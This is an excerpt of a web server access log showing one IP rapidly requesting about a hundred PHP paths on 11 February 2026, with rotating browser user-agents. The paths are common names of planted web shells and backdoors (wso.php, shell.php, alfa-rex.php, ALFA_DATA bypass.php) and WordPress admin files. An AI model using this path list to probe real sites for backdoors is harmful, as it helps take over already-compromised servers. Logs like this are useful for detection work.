"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:26 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:26 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:26 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:27 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:27 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:27 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:27 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:28 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:28 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:28 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:29 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:29 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:24:29 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:29 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:30 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:30 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:30 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:31 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:31 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:31 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:31 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:32 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:32 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:32 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:33 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:33 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:33 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:34 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:34 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:34 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:24:34 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:24:34 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:35 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:35 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:35 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:35 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:36 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:36 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:36 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:24:36 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:37 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:37 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:37 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:37 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:38 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:38 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:38 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:38 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:39 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:24:39 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:39 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:39 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:39 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:40 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:40 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:40 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:41 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:41 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:41 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:41 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:41 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:42 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:42 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:42 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:42 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:43 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:43 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:43 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:43 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:44 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:44 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:44 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:45 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:24:45 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:45 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:45 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:46 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:46 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:46 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:46 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:47 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:47 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:24:47 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:47 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:48 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:48 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:48 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:48 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:48 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:24:49 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:49 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:49 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:49 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:50 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:50 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:50 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:51 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:51 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:24:51 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:51 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:52 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:52 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:52 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:52 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:53 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:53 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:53 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:53 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:54 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:54 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:54 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:54 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 